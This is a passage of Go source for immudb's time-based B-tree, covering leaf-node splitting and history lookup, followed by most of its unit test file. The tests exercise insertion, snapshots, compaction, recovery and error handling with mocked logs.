+= 2 // Value length size += len(tv.Value) // Value size += 8 // Ts size += 8 // hOff size += 8 // hCount } return size, nil } func (l *leafNode) tsMutated() bool { for _, v := range l.values { if v.timedValues[0].Ts >= l.ts() { return false } } return true } func (l *leafNode) mutated() bool { return l.mut } func (l *leafNode) offset() int64 { return l.off } func (l *leafNode) split() ([]node, error) { size, err := l.size() if err != nil { return nil, err } if size <= l.t.maxNodeSize { metricsBtreeLeafNodeEntries.WithLabelValues(l.t.path).Observe(float64(len(l.values))) return []node{l}, nil } splitIndex := splitIndex(len(l.values)) newLeaf := &leafNode{ t: l.t, values: l.values[splitIndex:], mut: true, } newLeaf.updateTs() l.values = l.values[:splitIndex] l.updateTs() ns1, err := l.split() if err != nil { return nil, err } ns2, err := newLeaf.split() if err != nil { return nil, err } return append(ns1, ns2...), nil } func splitIndex(sz int) int { if sz%2 == 0 { return sz / 2 } return sz/2 + 1 } func (l *leafNode) updateTs() { l._ts = 0 for i := 0; i < len(l.values); i++ { if l._ts < l.values[i].timedValue().Ts { l._ts = l.values[i].timedValue().Ts } } } func (lv *leafValue) timedValue() TimedValue { return lv.timedValues[0] } func (lv *leafValue) historyCount() uint64 { return lv.hCount + uint64(len(lv.timedValues)) } func (lv *leafValue) size() int { return 16 + len(lv.key) + len(lv.timedValue().Value) } func (lv *leafValue) lastUpdateBetween(hLog appendable.Appendable, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { if initialTs > finalTs { return nil, 0, 0, ErrIllegalArguments } for i, tv := range lv.timedValues { if tv.Ts < initialTs { return nil, 0, 0, ErrKeyNotFound } if finalTs == 0 || tv.Ts <= finalTs { return tv.Value, tv.Ts, lv.historyCount() - uint64(i), nil } } hOff := lv.hOff skippedUpdates := uint64(0) for i := uint64(0); i < lv.hCount; i++ { r := appendable.NewReaderFrom(hLog, hOff, DefaultMaxNodeSize) hc, err := r.ReadUint32() if err != nil { return nil, 0, 0, err } for j := 0; j < int(hc); j++ { valueLen, err := r.ReadUint16() if err != nil { return nil, 0, 0, err } value := make([]byte, valueLen) _, err = r.Read(value) if err != nil { return nil, 0, 0, err } ts, err := r.ReadUint64() if err != nil { return nil, 0, 0, err } if ts < initialTs { return nil, 0, 0, ErrKeyNotFound } if ts <= finalTs { return value, ts, lv.hCount - skippedUpdates, nil } skippedUpdates++ } prevOff, err := r.ReadUint64() if err != nil { return nil, 0, 0, err } hOff = int64(prevOff) } return nil, 0, 0, ErrKeyNotFound } ================================================ FILE: embedded/tbtree/tbtree_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tbtree import ( "bytes" "crypto/sha256" "encoding/binary" "errors" "fmt" "io/ioutil" "math/rand" "os" "path/filepath" "strings" "sync" "testing" "time" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/mocked" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/appendable/singleapp" "github.com/stretchr/testify/require" ) func TestEdgeCases(t *testing.T) { path := t.TempDir() _, err := Open(path, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = OpenWith(path, "", nil, nil, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) nLog := &mocked.MockedAppendable{} hLog := &mocked.MockedAppendable{} cLog := &mocked.MockedAppendable{} injectedError := errors.New("error") t.Run("Should fail reading maxNodeSize from metadata", func(t *testing.T) { cLog.MetadataFn = func() []byte { return nil } _, err = OpenWith(path, "", nLog, hLog, cLog, DefaultOptions()) require.ErrorIs(t, err, ErrCorruptedCLog) }) t.Run("Should fail reading version from metadata", func(t *testing.T) { cLog.MetadataFn = func() []byte { md := appendable.NewMetadata(nil) md.PutInt(MetaVersion, 1) return md.Bytes() } _, err = OpenWith(path, "", nLog, hLog, cLog, DefaultOptions()) require.ErrorIs(t, err, ErrIncompatibleDataFormat) }) t.Run("Should fail reading cLogSize", func(t *testing.T) { cLog.MetadataFn = func() []byte { md := appendable.NewMetadata(nil) md.PutInt(MetaVersion, Version) md.PutInt(MetaMaxNodeSize, requiredNodeSize(1, 1)) md.PutInt(MetaMaxKeySize, 1) md.PutInt(MetaMaxValueSize, 1) return md.Bytes() } cLog.SizeFn = func() (int64, error) { return 0, injectedError } _, err = OpenWith(path, "", nLog, hLog, cLog, DefaultOptions()) require.ErrorIs(t, err, injectedError) }) t.Run("Should fail truncating clog", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { return cLogEntrySize + 1, nil } cLog.SetOffsetFn = func(off int64) error { return injectedError } _, err = OpenWith(path, "", nLog, hLog, cLog, DefaultOptions()) require.ErrorIs(t, err, injectedError) }) t.Run("Should succeed", func(t *testing.T) { cLog.MetadataFn = func() []byte { md := appendable.NewMetadata(nil) md.PutInt(MetaVersion, Version) md.PutInt(MetaMaxNodeSize, requiredNodeSize(1, 1)) md.PutInt(MetaMaxKeySize, 1) md.PutInt(MetaMaxValueSize, 1) return md.Bytes() } cLog.SizeFn = func() (int64, error) { return cLogEntrySize - 1, nil } cLog.SetOffsetFn = func(off int64) error { return nil } hLog.SetOffsetFn = func(off int64) error { return nil } hLog.OffsetFn = func() int64 { return 0 } hLog.SizeFn = func() (int64, error) { return 0, nil } _, err = OpenWith(path, "", nLog, hLog, cLog, DefaultOptions()) require.NoError(t, err) }) t.Run("Should fail when unable to read from cLog", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { return cLogEntrySize, nil } cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, injectedError } _, err = OpenWith(path, "", nLog, hLog, cLog, DefaultOptions()) require.ErrorIs(t, err, injectedError) }) t.Run("Should fail when unable to read current root node type", func(t *testing.T) { cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { require.EqualValues(t, 0, off) require.Len(t, bs, cLogEntrySize) for i := range bs { bs[i] = 0 } binary.BigEndian.PutUint64(bs[8:], 1) // set final size binary.BigEndian.PutUint32(bs[16:], 1) // set a min node size return len(bs), nil } nLog.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, injectedError } _, err = OpenWith(path, "", nLog, hLog, cLog, DefaultOptions()) require.ErrorIs(t, err, injectedError) }) t.Run("Invalid root node type", func(t *testing.T) { nLog.ReadAtFn = func(bs []byte, off int64) (int, error) { nLogBuffer := []byte{0xFF, 0, 0, 0, 0} require.Less(t, off, int64(len(nLogBuffer))) l := copy(bs, nLogBuffer[off:]) return l, nil } cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { binary.BigEndian.PutUint64(bs[8:], 1) // set final size binary.BigEndian.PutUint32(bs[16:], 1) // set a min node size nLogChecksum, err := appendable.Checksum(nLog, 0, 1) copy(bs[20:], nLogChecksum[:]) hLogChecksum := sha256.Sum256(nil) copy(bs[68:], hLogChecksum[:]) return len(bs), err } _, err = OpenWith(path, "", nLog, hLog, cLog, DefaultOptions()) require.ErrorIs(t, err, ErrReadingFileContent) }) t.Run("Error while reading a single leaf node content", func(t *testing.T) { nLogBuffer := []byte{ LeafNodeType, // Node type 0, 1, // 1 child 0, 1, // key size 123, // key 0, 1, // value size 23, // value 0, 0, 0, 0, 0, 0, 0, 0, // Timestamp 0, 0, 0, 0, 0, 0, 0, 0, // history log offset 0, 0, 0, 0, 0, 0, 0, 0, // history log count } for i := 1; i < len(nLogBuffer); i++ { injectedError := fmt.Errorf("Injected error %d", i) buff := nLogBuffer[:i] nLog.ReadAtFn = func(bs []byte, off int64) (int, error) { if off >= int64(len(buff)) { return 0, injectedError } return copy(bs, buff[off:]), nil } _, err = OpenWith(path, "", nLog, hLog, cLog, DefaultOptions()) require.ErrorIs(t, err, injectedError) } }) t.Run("Error while reading an inner node content", func(t *testing.T) { nLogBuffer := []byte{ InnerNodeType, // Node type 0, 1, // 1 child 0, 1, // min key size 0, // min key 0, 0, 0, 0, 0, 0, 0, 0, // Timestamp 0, 0, 0, 0, 0, 0, 0, 0, // offset 0, 0, 0, 0, 0, 0, 0, 0, // min offset } for i := 1; i < len(nLogBuffer); i++ { injectedError := fmt.Errorf("Injected error %d", i) buff := nLogBuffer[:i] cLog.MetadataFn = func() []byte { md := appendable.NewMetadata(nil) md.PutInt(MetaVersion, Version) md.PutInt(MetaMaxNodeSize, requiredNodeSize(1, 1)) md.PutInt(MetaMaxKeySize, 1) md.PutInt(MetaMaxValueSize, 1) return md.Bytes() } nLog.ReadAtFn = func(bs []byte, off int64) (int, error) { if off >= int64(len(buff)) { return 0, injectedError } return copy(bs, buff[off:]), nil } _, err = OpenWith(path, "", nLog, hLog, cLog, DefaultOptions()) require.ErrorIs(t, err, injectedError) } }) opts := DefaultOptions(). WithMaxActiveSnapshots(1). WithFlushThld(1000) tree, err := Open(path, opts) require.NoError(t, err) require.Equal(t, uint64(0), tree.Ts()) require.Error(t, tree.wrapNwarn("message")) require.ErrorIs(t, tree.wrapNwarn("%w", ErrorMaxKeySizeExceeded), ErrorMaxKeySizeExceeded) require.ErrorIs(t, tree.wrapNwarn("%w", ErrorMaxValueSizeExceeded), ErrorMaxValueSizeExceeded) err = tree.Insert(make([]byte, tree.maxKeySize+1), make([]byte, tree.maxValueSize)) require.ErrorIs(t, err, ErrorMaxKeySizeExceeded) err = tree.Insert(make([]byte, tree.maxKeySize), make([]byte, tree.maxValueSize+1)) require.ErrorIs(t, err, ErrorMaxValueSizeExceeded) _, _, _, err = tree.Get(nil) require.ErrorIs(t, err, ErrIllegalArguments) for i := 0; i < 100; i++ { err = tree.Insert(make([]byte, 1), []byte{2}) require.NoError(t, err) } tss, hCount, err := tree.History(make([]byte, 1), 0, true, 10) require.NoError(t, err) require.Len(t, tss, 10) require.EqualValues(t, 100, hCount) tss, hCount, err = tree.History(make([]byte, 1), 0, false, 10) require.NoError(t, err) require.Len(t, tss, 10) require.EqualValues(t, 100, hCount) err = tree.Sync() require.NoError(t, err) s1, err := tree.Snapshot() require.NoError(t, err) _, _, err = s1.History(make([]byte, 1), 0, false, 100) require.NoError(t, err) _, _, err = s1.History(make([]byte, 1), 101, false, 100) require.ErrorIs(t, err, ErrOffsetOutOfRange) _, err = tree.Snapshot() require.ErrorIs(t, err, ErrorToManyActiveSnapshots) err = tree.Close() require.ErrorIs(t, err, ErrSnapshotsNotClosed) err = s1.Close() require.NoError(t, err) for i := 1; i < 100; i++ { var k [4]byte binary.BigEndian.PutUint32(k[:], uint32(i)) s1, err := tree.Snapshot() require.NoError(t, err) _, _, err = s1.History([]byte{2}, 0, false, 1) require.ErrorIs(t, err, ErrKeyNotFound) err = s1.Close() require.NoError(t, err) err = tree.Insert(k[:], []byte{2}) require.NoError(t, err) } require.NoError(t, tree.Close()) } func monotonicInsertions(t *testing.T, tbtree *TBtree, itCount int, kCount int, ascMode bool) { for i := 0; i < itCount; i++ { for j := 0; j < kCount; j++ { k := make([]byte, 4) if ascMode { binary.BigEndian.PutUint32(k, uint32(j)) } else { binary.BigEndian.PutUint32(k, uint32(kCount-j)) } v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+j)) ts := uint64(i*kCount+j) + 1 snapshot, err := tbtree.Snapshot() require.NoError(t, err) snapshotTs := snapshot.Ts() require.Equal(t, ts-1, snapshotTs) v1, ts1, hc, err := snapshot.Get(k) if i == 0 { require.ErrorIs(t, err, ErrKeyNotFound) } else { require.NoError(t, err) expectedV := make([]byte, 8) binary.BigEndian.PutUint64(expectedV, uint64((i-1)<<4+j)) require.Equal(t, expectedV, v1) expectedTs := uint64((i-1)*kCount+j) + 1 require.Equal(t, expectedTs, ts1) require.Equal(t, uint64(i), hc) _, _, _, err := tbtree.GetBetween(k, 1, ts1) require.NoError(t, err) } if j == kCount-1 { _, _, _, _, err := tbtree.GetWithPrefix(k, k) require.ErrorIs(t, err, ErrKeyNotFound) } if i%2 == 1 { err = snapshot.Close() require.NoError(t, err) } err = tbtree.Insert(k, v) require.NoError(t, err) _, _, err = tbtree.Flush() require.NoError(t, err) if i%2 == 0 { err = snapshot.Close() require.NoError(t, err) } snapshot, err = tbtree.Snapshot() require.NoError(t, err) snapshotTs = snapshot.Ts() require.Equal(t, ts, snapshotTs) v1, ts1, hc, err = snapshot.Get(k) require.NoError(t, err) require.Equal(t, v, v1) require.Equal(t, ts, ts1) require.Equal(t, uint64(i+1), hc) err = snapshot.Close() require.NoError(t, err) } } } func checkAfterMonotonicInsertions(t *testing.T, tbtree *TBtree, itCount int, kCount int, ascMode bool) { snapshot, err := tbtree.Snapshot() require.NoError(t, err) i := itCount for j := 0; j < kCount; j++ { k := make([]byte, 4) if ascMode { binary.BigEndian.PutUint32(k, uint32(j)) } else { binary.BigEndian.PutUint32(k, uint32(kCount-j)) } v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i<<4+j)) v1, ts1, hc1, err := snapshot.Get(k) require.NoError(t, err) expectedV := make([]byte, 8) binary.BigEndian.PutUint64(expectedV, uint64((i-1)<<4+j)) require.Equal(t, expectedV, v1) expectedTs := uint64((i-1)*kCount+j) + 1 require.Equal(t, expectedTs, ts1) require.Equal(t, uint64(itCount), hc1) } err = snapshot.Close() require.NoError(t, err) } func randomInsertions(t *testing.T, tbtree *TBtree, kCount int, override bool) { seed := rand.NewSource(time.Now().UnixNano()) rnd := rand.New(seed) for i := 0; i < kCount; i++ { k := make([]byte, 4) binary.BigEndian.PutUint32(k, rnd.Uint32()) if !override { snapshot, err := tbtree.Snapshot() require.NoError(t, err) require.Equal(t, uint64(i), snapshot.Ts()) for { _, _, _, err = snapshot.Get(k) if errors.Is(err, ErrKeyNotFound) { _, _, _, _, err := tbtree.GetWithPrefix(k, nil) require.ErrorIs(t, err, ErrKeyNotFound) break } binary.BigEndian.PutUint32(k, rnd.Uint32()) } err = snapshot.Close() require.NoError(t, err) } v := make([]byte, 8) binary.BigEndian.PutUint64(v, uint64(i)) ts := uint64(i + 1) err := tbtree.Insert(k, v) require.NoError(t, err) k1, v1, ts1, hc1, err := tbtree.GetWithPrefix(k, nil) require.NoError(t, err) require.Equal(t, k, k1) require.Equal(t, v, v1) require.NotZero(t, ts1) require.NotZero(t, hc1) v0, ts0, hc0, err := tbtree.Get(k) require.NoError(t, err) require.Equal(t, v, v0) require.Equal(t, ts, ts0) if override { require.Greater(t, hc0, uint64(0)) } else { require.Equal(t, uint64(1), hc0) } _, _, err = tbtree.Flush() require.NoError(t, err) snapshot, err := tbtree.Snapshot() require.NoError(t, err) snapshotTs := snapshot.Ts() require.Equal(t, ts, snapshotTs) v1, ts1, hc1, err = snapshot.Get(k) require.NoError(t, err) require.Equal(t, v, v1) require.Equal(t, ts, ts1) if override { require.Greater(t, hc1, uint64(0)) } else { require.Equal(t, uint64(1), hc1) } tvs, _, err := snapshot.History(k, 0, true, 1) require.NoError(t, err) require.Equal(t, ts, tvs[0].Ts) err = snapshot.Close() require.NoError(t, err) } } func TestInvalidOpening(t *testing.T) { _, err := Open("", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = Open("tbtree_test.go", DefaultOptions()) require.ErrorIs(t, err, ErrorPathIsNotADirectory) _, err = OpenWith("tbtree_test", "", nil, nil, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = Open("invalid\x00_dir_name", DefaultOptions()) require.EqualError(t, err, "stat invalid\x00_dir_name: invalid argument") roPath := filepath.Join(t.TempDir(), "ro_path") require.NoError(t, os.MkdirAll(roPath, 0500)) _, err = Open(filepath.Join(roPath, "subpath"), DefaultOptions()) require.ErrorContains(t, err, "subpath: permission denied") for _, brokenPath := range []string{"nodes", "history", "commit"} { t.Run("error opening "+brokenPath, func(t *testing.T) { path := t.TempDir() err = ioutil.WriteFile(filepath.Join(path, brokenPath), []byte{}, 0666) require.NoError(t, err) _, err = Open(path, DefaultOptions()) require.ErrorIs(t, err, multiapp.ErrorPathIsNotADirectory) }) } } func TestSnapshotRecovery(t *testing.T) { d := t.TempDir() // Starting with some historical garbage hpath := filepath.Join(d, historyFolder) happ, err := multiapp.Open(hpath, multiapp.DefaultOptions()) require.NoError(t, err) _, _, err = happ.Append([]byte{1, 2, 3}) require.NoError(t, err) err = happ.Close() require.NoError(t, err) // Starting with an invalid folder name os.MkdirAll(filepath.Join(d, fmt.Sprintf("%s1z", commitFolderPrefix)), 0777) tree, err := Open(d, DefaultOptions().WithCompactionThld(1)) require.NoError(t, err) snapc, err := tree.SnapshotCount() require.NoError(t, err) require.Equal(t, uint64(0), snapc) err = tree.BulkInsert([]*KVT{ {K: []byte("key1"), V: []byte("value1")}, }) require.NoError(t, err) _, err = tree.Compact() require.ErrorIs(t, err, ErrCompactionThresholdNotReached) _, _, err = tree.Flush() require.NoError(t, err) c, err := tree.Compact() require.NoError(t, err) require.Equal(t, uint64(1), c) snapc, err = tree.SnapshotCount() require.NoError(t, err) require.Equal(t, uint64(1), snapc) err = tree.BulkInsert([]*KVT{ {K: []byte("key2"), V: []byte("value2")}, {K: []byte("key3"), V: []byte("value3")}, }) require.NoError(t, err) err = tree.BulkInsert([]*KVT{ {K: []byte("key4"), V: []byte("value4")}, }) require.NoError(t, err) c, err = tree.Compact() require.NoError(t, err) require.Equal(t, uint64(3), c) _, _, err = tree.Flush() require.NoError(t, err) snapc, err = tree.SnapshotCount() require.NoError(t, err) require.Equal(t, uint64(2), snapc) err = tree.Close() require.NoError(t, err) _, err = tree.SnapshotCount() require.ErrorIs(t, err, ErrAlreadyClosed) tree, err = Open(d, DefaultOptions()) require.NoError(t, err) snapc, err = tree.SnapshotCount() require.NoError(t, err) require.Equal(t, uint64(1), snapc) require.Equal(t, uint64(3), tree.Ts()) err = tree.Close() require.NoError(t, err) os.RemoveAll(filepath.Join(d, snapFolder(nodesFolderPrefix, c))) tree, err = Open(d, DefaultOptions()) require.NoError(t, err) snapc, err = tree.SnapshotCount() require.NoError(t, err) require.Equal(t, uint64(0), snapc) err = tree.Close() require.NoError(t, err) injectedError := errors.New("factory error") metaFaultyAppFactory := func(prefix string) AppFactoryFunc { return func( rootPath string, subPath string, opts *multiapp.Options, ) (appendable.Appendable, error) { if strings.HasPrefix(subPath, prefix) { return nil, injectedError } path := filepath.Join(rootPath, subPath) return multiapp.Open(path, opts) } } t.Run("Should fail opening hLog", func(t *testing.T) { _, err = Open(d, DefaultOptions().WithAppFactory(metaFaultyAppFactory(historyFolder))) require.ErrorIs(t, err, injectedError) }) t.Run("Should fail opening nLog", func(t *testing.T) { _, err = Open(d, DefaultOptions().WithAppFactory(metaFaultyAppFactory(nodesFolderPrefix))) require.ErrorIs(t, err, injectedError) }) t.Run("Should fail opening cLog", func(t *testing.T) { _, err = Open(d, DefaultOptions().WithAppFactory(metaFaultyAppFactory(commitFolderPrefix))) require.ErrorIs(t, err, injectedError) }) } func TestTBTreeSplitTooBigKeys(t *testing.T) { d := t.TempDir() opts := DefaultOptions() opts.WithMaxKeySize(opts.maxNodeSize / 2) _, err := Open(d, opts) require.ErrorIs(t, err, ErrIllegalArguments) opts.WithMaxKeySize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize) - 1) _, err = Open(d, opts) require.ErrorIs(t, err, ErrIllegalArguments) } func TestTBTreeSplitWithKeyUpdates(t *testing.T) { opts := DefaultOptions() tree, err := Open(t.TempDir(), opts) require.NoError(t, err) for i := byte(0); i < 14; i++ { key := make([]byte, opts.maxKeySize/4) key[0] = i err = tree.BulkInsert([]*KVT{ {K: key, V: make([]byte, 1)}, }) require.NoError(t, err) } // updating entries with bigger values should be handled for i := byte(0); i < 14; i++ { key := make([]byte, opts.maxKeySize/4) key[0] = i err = tree.BulkInsert([]*KVT{ {K: key, V: key}, }) require.NoError(t, err) } _, _, err = tree.Flush() require.NoError(t, err) err = tree.Close() require.NoError(t, err) } func TestTBTreeSplitMultiLeafSplit(t *testing.T) { opts := DefaultOptions() opts.WithMaxKeySize(opts.maxNodeSize / 4) tree, err := Open(t.TempDir(), opts) require.NoError(t, err) for i := byte(1); i < 4; i++ { key := make([]byte, opts.maxKeySize) key[0] = i err = tree.BulkInsert([]*KVT{ {K: key, V: make([]byte, 1)}, }) require.NoError(t, err) } for i := byte(1); i < 5; i++ { key := make([]byte, opts.maxKeySize/8) key[0] = i + 3 err = tree.BulkInsert([]*KVT{ {K: key, V: make([]byte, 1)}, }) require.NoError(t, err) } key := make([]byte, opts.maxKeySize) err = tree.BulkInsert([]*KVT{ {K: key, V: make([]byte, opts.maxValueSize)}, }) require.NoError(t, err) _, _, err = tree.Flush() require.NoError(t, err) err = tree.Close() require.NoError(t, err) } func TestTBTreeCompactionEdgeCases(t *testing.T) { tree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) err = tree.BulkInsert([]*KVT{{K: []byte("k0"), V: []byte("v0")}}) require.NoError(t, err) snap, err := tree.Snapshot() require.NoError(t, err) injectedError := errors.New("error") nLog := &mocked.MockedAppendable{} cLog := &mocked.MockedAppendable{} t.Run("Should fail while dumping the snapshot", func(t *testing.T) { nLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, 0, injectedError } err = tree.fullDumpTo(snap, nLog, cLog, func(int, int, int) {}) require.ErrorIs(t, err, injectedError) }) t.Run("Should fail while appending to cLog", func(t *testing.T) { nLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil } nLog.FlushFn = func() error { return nil } nLog.SyncFn = func() error { return nil } cLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, 0, injectedError } err = tree.fullDumpTo(snap, nLog, cLog, func(int, int, int) {}) require.ErrorIs(t, err, injectedError) }) t.Run("Should fail while flushing nLog", func(t *testing.T) { nLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil } cLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil } nLog.FlushFn = func() error { return injectedError } err = tree.fullDumpTo(snap, nLog, cLog, func(int, int, int) {}) require.ErrorIs(t, err, injectedError) }) t.Run("Should fail while syncing nLog", func(t *testing.T) { nLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil } cLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil } nLog.FlushFn = func() error { return nil } nLog.SyncFn = func() error { return injectedError } err = tree.fullDumpTo(snap, nLog, cLog, func(int, int, int) {}) require.ErrorIs(t, err, injectedError) }) t.Run("Should fail while flushing cLog", func(t *testing.T) { nLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil } cLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil } nLog.FlushFn = func() error { return nil } nLog.SyncFn = func() error { return nil } cLog.FlushFn = func() error { return injectedError } err = tree.fullDumpTo(snap, nLog, cLog, func(int, int, int) {}) require.ErrorIs(t, err, injectedError) }) t.Run("Should fail while syncing cLog", func(t *testing.T) { nLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil } cLog.AppendFn = func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil } nLog.FlushFn = func() error { return nil } nLog.SyncFn = func() error { return nil } cLog.FlushFn = func() error { return nil } cLog.SyncFn = func() error { return injectedError } err = tree.fullDumpTo(snap, nLog, cLog, func(int, int, int) {}) require.ErrorIs(t, err, injectedError) }) } func TestTBTreeHistory(t *testing.T) { opts := DefaultOptions().WithFlushThld(100) dir := t.TempDir() tbtree, err := Open(dir, opts) require.NoError(t, err) err = tbtree.BulkInsert([]*KVT{{K: []byte("k0"), V: []byte("v0")}}) require.NoError(t, err) err = tbtree.Close() require.NoError(t, err) tbtree, err = Open(dir, opts) require.NoError(t, err) err = tbtree.BulkInsert([]*KVT{{K: []byte("k0"), V: []byte("v00")}}) require.NoError(t, err) err = tbtree.Close() require.NoError(t, err) tbtree, err = Open(dir, opts) require.NoError(t, err) tss, hCount, err := tbtree.History([]byte("k0"), 0, false, 10) require.NoError(t, err) require.Equal(t, 2, len(tss)) require.EqualValues(t, 2, hCount) } func TestTBTreeInsertionInAscendingOrder(t *testing.T) { opts := DefaultOptions().WithFlushThld(100) dir := t.TempDir() tbtree, err := Open(dir, opts) require.NoError(t, err) require.Equal(t, opts, tbtree.GetOptions()) _, _, err = tbtree.Flush() require.NoError(t, err) itCount := 100 keyCount := 100 monotonicInsertions(t, tbtree, itCount, keyCount, true) err = tbtree.BulkInsert(nil) require.ErrorIs(t, err, ErrIllegalArguments) err = tbtree.BulkInsert([]*KVT{{}}) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = tbtree.Flush() require.NoError(t, err) _, _, err = tbtree.History(nil, 0, false, 10) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = tbtree.History([]byte("key"), 0, false, 0) require.ErrorIs(t, err, ErrIllegalArguments) _, _, _, _, err = tbtree.GetWithPrefix([]byte("key"), []byte("longerkey")) require.ErrorIs(t, err, ErrKeyNotFound) err = tbtree.Close() require.NoError(t, err) _, _, err = tbtree.Flush() require.ErrorIs(t, err, ErrAlreadyClosed) _, _, err = tbtree.History([]byte("key"), 0, false, 10) require.ErrorIs(t, err, ErrAlreadyClosed) err = tbtree.Close() require.ErrorIs(t, err, ErrAlreadyClosed) _, _, _, err = tbtree.Get([]byte("key")) require.ErrorIs(t, err, ErrAlreadyClosed) _, _, _, err = tbtree.GetBetween([]byte("key"), 1, 2) require.ErrorIs(t, err, ErrAlreadyClosed) _, _, _, _, err = tbtree.GetWithPrefix([]byte("key"), nil) require.ErrorIs(t, err, ErrAlreadyClosed) err = tbtree.Sync() require.ErrorIs(t, err, ErrAlreadyClosed) err = tbtree.Insert([]byte("key"), []byte("value")) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = tbtree.Snapshot() require.ErrorIs(t, err, ErrAlreadyClosed) _, err = tbtree.Compact() require.ErrorIs(t, err, ErrAlreadyClosed) tbtree, err = Open(dir, DefaultOptions()) require.NoError(t, err) require.Equal(t, tbtree.root.ts(), uint64(itCount*keyCount)) checkAfterMonotonicInsertions(t, tbtree, itCount, keyCount, true) } func TestTBTreeInsertionInDescendingOrder(t *testing.T) { dir := t.TempDir() tbtree, err := Open(dir, DefaultOptions()) require.NoError(t, err) itCount := 10 keyCount := 1000 monotonicInsertions(t, tbtree, itCount, keyCount, false) err = tbtree.Close() require.NoError(t, err) tbtree, err = Open(dir, DefaultOptions()) require.NoError(t, err) require.Equal(t, tbtree.root.ts(), uint64(itCount*keyCount)) checkAfterMonotonicInsertions(t, tbtree, itCount, keyCount, false) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) rspec := ReaderSpec{ SeekKey: []byte{}, Prefix: nil, DescOrder: false, } reader, err := snapshot.NewReader(rspec) require.NoError(t, err) i := 0 prevk := reader.seekKey for { k, _, _, _, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.True(t, bytes.Compare(prevk, k) < 1) prevk = k i++ } require.Equal(t, keyCount, i) err = reader.Close() require.NoError(t, err) err = snapshot.Close() require.NoError(t, err) err = tbtree.Insert(prevk, prevk) require.NoError(t, err) _, _, err = tbtree.Flush() require.NoError(t, err) snapshot, err = tbtree.Snapshot() require.NoError(t, err) v, ts, hc, err := snapshot.Get(prevk) require.NoError(t, err) require.Equal(t, uint64(itCount*keyCount+1), ts) require.Equal(t, prevk, v) require.Equal(t, uint64(itCount+1), hc) snapshot.Close() } func TestTBTreeInsertionInRandomOrder(t *testing.T) { opts := DefaultOptions().WithCacheSize(1000) tbtree, err := Open(t.TempDir(), opts) require.NoError(t, err) randomInsertions(t, tbtree, 10_000, true) err = tbtree.Close() require.NoError(t, err) } func TestRandomInsertionWithConcurrentReaderOrder(t *testing.T) { opts := DefaultOptions().WithCacheSize(1000) tbtree, err := Open(t.TempDir(), opts) require.NoError(t, err) keyCount := 1000 var wg sync.WaitGroup wg.Add(1) go func() { randomInsertions(t, tbtree, keyCount, false) wg.Done() }() for { snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) rspec := ReaderSpec{ SeekKey: []byte{}, Prefix: nil, DescOrder: false, } reader, err := snapshot.NewReader(rspec) if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) snapshot.Close() continue } i := 0 prevk := reader.seekKey for { k, _, _, _, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.True(t, bytes.Compare(prevk, k) < 1) prevk = k i++ } reader.Close() snapshot.Close() if keyCount == i { break } } wg.Wait() err = tbtree.Close() require.NoError(t, err) } func TestTBTreeReOpen(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithMaxKeySize(2).WithMaxValueSize(2) opts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize)) tbtree, err := Open(dir, opts) require.NoError(t, err) err = tbtree.Insert([]byte("k0"), []byte("v0")) require.NoError(t, err) _, _, err = tbtree.Flush() require.NoError(t, err) for i := 1; i < 10; i++ { err = tbtree.Insert([]byte(fmt.Sprintf("k%d", i)), []byte(fmt.Sprintf("v%d", i))) require.NoError(t, err) } err = tbtree.Close() require.NoError(t, err) t.Run("reopening btree after gracefully close should read all data", func(t *testing.T) { tbtree, err := Open(dir, opts) require.NoError(t, err) _, _, _, err = tbtree.Get([]byte("k0")) require.NoError(t, err) _, _, _, err = tbtree.Get([]byte("k1")) require.NoError(t, err) root, isInnerNode := tbtree.root.(*innerNode) require.True(t, isInnerNode) childNodeRef := root.nodes[0].(*nodeRef) require.False(t, childNodeRef.mutated()) require.Positive(t, childNodeRef.minOffset()) require.Positive(t, 